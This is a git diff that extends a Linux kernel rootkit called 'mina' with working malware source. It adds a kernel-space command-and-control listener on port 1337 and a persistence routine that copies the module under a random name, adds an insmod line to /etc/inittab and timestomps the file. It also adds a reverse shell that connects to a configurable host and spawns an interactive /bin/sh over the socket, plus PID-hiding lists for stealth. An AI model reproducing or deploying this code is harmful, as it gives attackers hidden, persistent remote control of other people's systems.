+static int c2_listen_port = 1337; // Default C2 port, now configurable
+
+static struct socket *listen_sock = NULL;
+static struct task_struct *c2_thread = NULL;
+
+void set_c2_listen_port(int port) {
+ c2_listen_port = port;
+ printk(KERN_INFO "[mina_c2] C2 listen port set to %d\n", c2_listen_port);
+}
+
+static int c2_worker_thread(void *data) {
+ struct socket *sock = (struct socket *)data;
+ struct socket *client_sock = NULL;
+ int ret;
+ char buffer[256];
+
+ allow_signal(SIGKILL); // Allow termination
+
+ // Listen for connections
+ ret = kernel_listen(sock, C2_MAX_CONNECTIONS);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_c2] Listen failed: %d\n", ret);
+ goto out;
+ }
+
+ printk(KERN_INFO "[mina_c2] Listening on port %d...\n", c2_listen_port);
+
+ while (!kthread_should_stop()) {
+ client_sock = NULL;
+ ret = kernel_accept(sock, &client_sock, 0);
+ if (ret < 0) {
+ if (ret == -EINTR || ret == -EAGAIN) {
+ // Interrupted syscall, try again
+ msleep(100);
+ continue;
+ }
+ printk(KERN_ERR "[mina_c2] Accept failed: %d\n", ret);
+ goto out;
+ }
+
+ printk(KERN_INFO "[mina_c2] Client connected!\n");
+
+ while (!kthread_should_stop()) {
+ memset(buffer, 0, sizeof(buffer));
+ // In a real C2, this would parse commands from the buffer
+ // For now, just echo it back.
+ struct kvec iov = {.iov_base = (void *)buffer, .iov_len = sizeof(buffer) - 1};
+ struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
+
+ ret = kernel_recvmsg(client_sock, &msg, &iov, 1, sizeof(buffer) - 1, 0);
+ if (ret <= 0) { // Error or connection closed
+ printk(KERN_INFO "[mina_c2] Client disconnected or recv error: %d\n", ret);
+ break;
+ }
+ buffer[ret] = '\0';
+ printk(KERN_INFO "[mina_c2] Received from client: %s\n", buffer);
+
+ // Send response - for now, just echo
+ msg.msg_iter = (struct iov_iter){.iov = &iov, .nr_segs = 1, .count = strlen(buffer), .type = ITER_IOV_MSG};
+ iov.iov_base = buffer;
+ iov.iov_len = strlen(buffer);
+
+ ret = kernel_sendmsg(client_sock, &msg, &iov, 1, strlen(buffer));
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_c2] Send failed: %d\n", ret);
+ break;
+ }
+ }
+ sock_release(client_sock); // Release client socket
+ }
+
+out:
+ if (sock) {
+ sock_release(sock); // Release listen socket
+ }
+ printk(KERN_INFO "[mina_c2] C2 worker thread stopped.\n");
+ return 0;
+}
+
+int c2_init(void) {
+ struct sockaddr_in s_addr;
+ int ret;
+
+ // Create a listening socket
+ ret = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &listen_sock);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_c2] Failed to create listen socket: %d\n", ret);
+ return ret;
+ }
+
+ memset(&s_addr, 0, sizeof(s_addr));
+ s_addr.sin_family = AF_INET;
+ s_addr.sin_port = htons(c2_listen_port);
+ s_addr.sin_addr.s_addr = INADDR_ANY; // Listen on all interfaces
+
+ // Bind the socket
+ ret = kernel_bind(listen_sock, (struct sockaddr *)&s_addr, sizeof(s_addr));
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_c2] Failed to bind socket to port %d: %d\n", c2_listen_port, ret);
+ sock_release(listen_sock);
+ listen_sock = NULL;
+ return ret;
+ }
+
+ // Start the C2 worker thread
+ c2_thread = kthread_run(c2_worker_thread, (void *)listen_sock, "kc2_worker");
+ if (IS_ERR(c2_thread)) {
+ printk(KERN_ERR "[mina_c2] Failed to create C2 worker thread.\n");
+ sock_release(listen_sock);
+ listen_sock = NULL;
+ c2_thread = NULL;
+ return PTR_ERR(c2_thread);
+ }
+
+ printk(KERN_INFO "[mina_c2] C2 initialized and thread started.\n");
+ return 0;
+}
+
+void c2_cleanup(void) {
+ if (c2_thread) {
+ kthread_stop(c2_thread);
+ c2_thread = NULL;
+ }
+ if (listen_sock) {
+ kernel_sock_shutdown(listen_sock, SHUT_RDWR); // Ensure socket is closed
+ sock_release(listen_sock);
+ listen_sock = NULL;
+ }
+ printk(KERN_INFO "[mina_c2] C2 cleaned up.\n");
+}
diff --git a/rootkit/sources/persistence.c b/rootkit/sources/persistence.c
@@ -2,10 +2,15 @@
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kernel.h>
+#include <linux/kmod.h> // For call_usermodehelper
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/module.h>
+#include <linux/random.h> // For get_random_bytes
#include <linux/slab.h>
+#include <linux/string.h> // For strlcpy
+#include <linux/time.h> // For current_time
+#include <linux/utsname.h> // For utsname()
#include <linux/version.h>
#include "../includes/mina.h"
@@ -14,6 +19,7 @@ int add_inittab_entry(char const *entry) {
int ret = 0;
struct file *file;
loff_t pos = 0;
+ struct timespec64 current_ts;
file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
if (IS_ERR(file)) {
@@ -33,7 +39,118 @@ int add_inittab_entry(char const *entry) {
goto out;
}
+ ktime_get_real_ts64(¤t_ts);
+ file->f_inode->i_mtime = current_ts;
+ file->f_inode->i_ctime = current_ts;
+ mark_inode_dirty(file->f_inode);
+ printk(KERN_INFO "[mina] Timestomped /etc/inittab.\n");
+
out:
filp_close(file, NULL);
return ret;
}
+
+static int copy_file(const char *src_path, const char *dst_path) {
+ struct file *src_file = NULL, *dst_file = NULL;
+ loff_t pos = 0;
+ int ret = 0;
+ char *buffer;
+
+ src_file = filp_open(src_path, O_RDONLY, 0);
+ if (IS_ERR(src_file)) {
+ printk(KERN_ERR "[mina_persist] Failed to open source file %s: %ld\n", src_path, PTR_ERR(src_file));
+ return PTR_ERR(src_file);
+ }
+
+ dst_file = filp_open(dst_path, O_WRONLY | O_CREAT, 0644);
+ if (IS_ERR(dst_file)) {
+ printk(KERN_ERR "[mina_persist] Failed to open destination file %s: %ld\n", dst_path, PTR_ERR(dst_file));
+ ret = PTR_ERR(dst_file);
+ goto out_src;
+ }
+
+ buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
+ if (!buffer) {
+ ret = -ENOMEM;
+ goto out_dst;
+ }
+
+ while (true) {
+ long bytes_read = kernel_read(src_file, buffer, PAGE_SIZE, &pos);
+ if (bytes_read < 0) {
+ ret = bytes_read;
+ printk(KERN_ERR "[mina_persist] Error reading from source file: %ld\n", bytes_read);
+ break;
+ }
+ if (bytes_read == 0) {
+ break;
+ }
+ long bytes_written = kernel_write(dst_file, buffer, bytes_read, &pos);
+ if (bytes_written < 0) {
+ ret = bytes_written;
+ printk(KERN_ERR "[mina_persist] Error writing to destination file: %ld\n", bytes_written);
+ break;
+ }
+ if (bytes_written != bytes_read) {
+ ret = -EIO;
+ printk(KERN_ERR "[mina_persist] Partial write to destination file.\n");
+ break;
+ }
+ }
+
+ kfree(buffer);
+out_dst:
+ filp_close(dst_file, NULL);
+out_src:
+ filp_close(src_file, NULL);
+ return ret;
+}
+
+int stage_and_persist_module(void) {
+ char src_path[PATH_MAX];
+ char dst_path[PATH_MAX];
+ char rand_name[16];
+ char *argv_depmod[] = {"/sbin/depmod", NULL};
+ char *envp[] = {"PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL};
+ char inittab_entry[256];
+ int ret;
+ int i;
+
+ // THIS_MODULE->name is the module name (e.g., mina_xxxx)
+ snprintf(src_path, PATH_MAX, "/lib/modules/%s/kernel/drivers/%s.ko",
+ utsname()->release, THIS_MODULE->name);
+
+ get_random_bytes(rand_name, 8);
+ for (i = 0; i < 8; i++) {
+ rand_name[i] = (rand_name[i] % 26) + 'a';
+ }
+ rand_name[8] = '\0';
+ strlcat(rand_name, ".ko", sizeof(rand_name));
+
+ snprintf(dst_path, PATH_MAX, "/usr/lib/modules/%s/kernel/drivers/%s",
+ utsname()->release, rand_name); // Using random name for module.ko
+
+ printk(KERN_INFO "[mina_persist] Staging module from %s to %s\n", src_path, dst_path);
+
+ ret = copy_file(src_path, dst_path);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_persist] Failed to copy module: %d\n", ret);
+ return ret;
+ }
+
+ printk(KERN_INFO "[mina_persist] Running depmod.\n");
+ ret = call_usermodehelper(argv_depmod[0], argv_depmod, envp, UMH_WAIT_PROC);
+ if (ret != 0) {
+ printk(KERN_ERR "[mina_persist] depmod failed with %d\n", ret);
+ }
+
+ snprintf(inittab_entry, sizeof(inittab_entry), "::sysinit:/sbin/insmod %s\n", dst_path);
+ ret = add_inittab_entry(inittab_entry);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_persist] Failed to add inittab entry: %d\n", ret);
+ } else {
+ printk(KERN_INFO "[mina_persist] Persistence installed to %s\n", dst_path);
+ }
+
+ return ret;
+}
diff --git a/rootkit/sources/reverse_shell.c b/rootkit/sources/reverse_shell.c
@@ -0,0 +1,128 @@
+#include <linux/delay.h> // For msleep
+#include <linux/in.h>
+#include <linux/init.h>
+#include <linux/ip.h>
+#include <linux/kernel.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/net.h>
+#include <linux/slab.h>
+#include <linux/socket.h>
+#include <linux/string.h>
+#include <linux/tcp.h>
+#include <linux/uaccess.h>
+#include <net/sock.h>
+
+#include "../includes/mina.h"
+
+static char *rs_host = "127.0.0.1";
+static int rs_port = 4444;
+
+void set_reverse_shell_target(const char *host, int port) {
+ if (rs_host) {
+ kfree(rs_host);
+ }
+ rs_host = kstrdup(host, GFP_KERNEL);
+ rs_port = port;
+ printk(KERN_INFO "[mina_rs] Reverse shell target set to %s:%d\n", rs_host, rs_port);
+}
+
+static struct socket *rev_shell_sock = NULL;
+static struct task_struct *rev_shell_thread = NULL;
+
+static int rs_send(struct socket *sock, const char *buf, size_t len) {
+ struct kvec iov = {.iov_base = (void *)buf, .iov_len = len};
+ struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
+ return kernel_sendmsg(sock, &msg, &iov, 1, len);
+}
+
+static int rs_recv(struct socket *sock, char *buf, size_t len) {
+ struct kvec iov = {.iov_base = (void *)buf, .iov_len = len};
+ struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
+ return kernel_recvmsg(sock, &msg, &iov, 1, len, msg.msg_flags);
+}
+
+static int reverse_shell_worker(void *data) {
+ struct socket *sock = (struct socket *)data;
+ char *argv[] = {"/bin/sh", "-c", NULL, NULL};
+ char *envp[] = {"PATH=/bin:/usr/bin", NULL};
+ int ret;
+ char *cmd_buf = NULL;
+ int fd;
+
+ allow_signal(SIGKILL);
+ fd = sock_map_fd(sock, 0);
+ if (fd < 0) {
+ printk(KERN_ERR "[mina_rs] Failed to map socket to FD: %d\n", fd);
+ sock_release(sock);
+ return fd;
+ }
+ cmd_buf = kmalloc(128, GFP_KERNEL);
+ if (!cmd_buf) {
+ sock_release(sock);
+ return -ENOMEM;
+ }
+ snprintf(cmd_buf, 128, "exec /bin/sh -i 0<>&%d 1<>&%d 2<>&%d", fd, fd, fd);
+ argv[2] = cmd_buf;
+
+ printk(KERN_INFO "[mina_rs] Spawning reverse shell with command: %s\n", cmd_buf);
+
+ ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
+
+ kfree(cmd_buf);
+ sys_close(fd);
+ sock_release(sock);
+
+ printk(KERN_INFO "[mina_rs] Reverse shell process finished with code %d. Thread stopping.\n", ret);
+ return ret;
+}
+
+int start_reverse_shell(void) {
+ struct sockaddr_in s_addr;
+ int ret;
+
+ printk(KERN_INFO "[mina_rs] Attempting to start reverse shell to %s:%d\n", rs_host, rs_port);
+
+ ret = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &rev_shell_sock);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_rs] Failed to create socket: %d\n", ret);
+ return ret;
+ }
+
+ memset(&s_addr, 0, sizeof(s_addr));
+ s_addr.sin_family = AF_INET;
+ s_addr.sin_port = htons(rs_port);
+ s_addr.sin_addr.s_addr = in_aton(rs_host);
+
+ ret = kernel_connect(rev_shell_sock, (struct sockaddr *)&s_addr, sizeof(s_addr), 0);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_rs] Failed to connect: %d\n", ret);
+ sock_release(rev_shell_sock);
+ rev_shell_sock = NULL;
+ return ret;
+ }
+
+ rev_shell_thread = kthread_run(reverse_shell_worker, (void *)rev_shell_sock, "krev_shell");
+ if (IS_ERR(rev_shell_thread)) {
+ printk(KERN_ERR "[mina_rs] Failed to create reverse shell thread.\n");
+ sock_release(rev_shell_sock);
+ rev_shell_sock = NULL;
+ rev_shell_thread = NULL;
+ return PTR_ERR(rev_shell_thread);
+ }
+
+ printk(KERN_INFO "[mina_rs] Reverse shell thread started.\n");
+ return 0;
+}
+
+void stop_reverse_shell(void) {
+ if (rev_shell_sock) {
+ kernel_sock_shutdown(rev_shell_sock, SHUT_RDWR);
+ }
+ if (rev_shell_thread) {
+ kthread_stop(rev_shell_thread);
+ rev_shell_thread = NULL;
+ }
+ rev_shell_sock = NULL;
+ printk(KERN_INFO "[mina_rs] Reverse shell stopped.\n");
+}
diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -22,6 +22,13 @@ struct st_hide_file {
};
LIST_HEAD(hide_files);
+/* Simple struct to keep in memory the PIDs we want to hide */
+struct st_hide_pid {
+ pid_t pid;
+ struct list_head list;
+};
+LIST_HEAD(hide_pids);
+
static void file_unhide(char *name) {
struct st_hide_file *_file, *tmp;
list_for_each_entry_safe(_file, tmp, &hide_files, list) {
@@ -39,7 +46,8 @@ static void file_hide(char *name) {
struct st_hide_file *_file;
if (name == NULL || name[0] == '\0') {
- printk(KERN_INFO "[mina] module-name is null !") return;
+ printk(KERN_INFO "[mina] module-name is null !");
+ return;
}
_file = kmalloc(sizeof(*_file), GFP_KERNEL);
if (!_file)
@@ -48,6 +56,27 @@ static void file_hide(char *name) {
list_add(&_file->list, &hide_files);
}
+static void pid_unhide(pid_t pid) {
+ struct st_hide_pid *_pid, *tmp;
+ list_for_each_entry_safe(_pid, tmp, &hide_pids, list) {
+ if (_pid->pid == pid) {
+ list_del(&_pid->list);
+ kfree(_pid);
+ break;
+ }
+ }
+}
+
+static void pid_hide(pid_t pid) {
+ struct st_hide_pid *_pid;
+
+ _pid = kmalloc(sizeof(*_pid), GFP_KERNEL);
+ if (!_pid)
+ return;
+ _pid->pid = pid;
+ list_add(&_pid->list, &hide_pids);
+}
+
static int file_lookup_hidelist(char *name) {
struct st_hide_file *tmp_file;
@@ -59,6 +88,17 @@ static int file_lookup_hidelist(char *name) {
return 0;
}
+static int pid_lookup_hidelist(pid_t pid) {
+ struct st_hide_pid *tmp_pid;
+
+ list_for_each_entry(tmp_pid, &hide_pids, list) {
+ if (tmp_pid->pid == pid) {
+ return 1;
+ }
+ }
+ return 0;
+}
+
static int toggle_hide_file(void) {
if (!file_lookup_hidelist(mina_module_name)) {
printk(KERN_INFO "[mina] hiding file\n");
| | | | | | | | | | |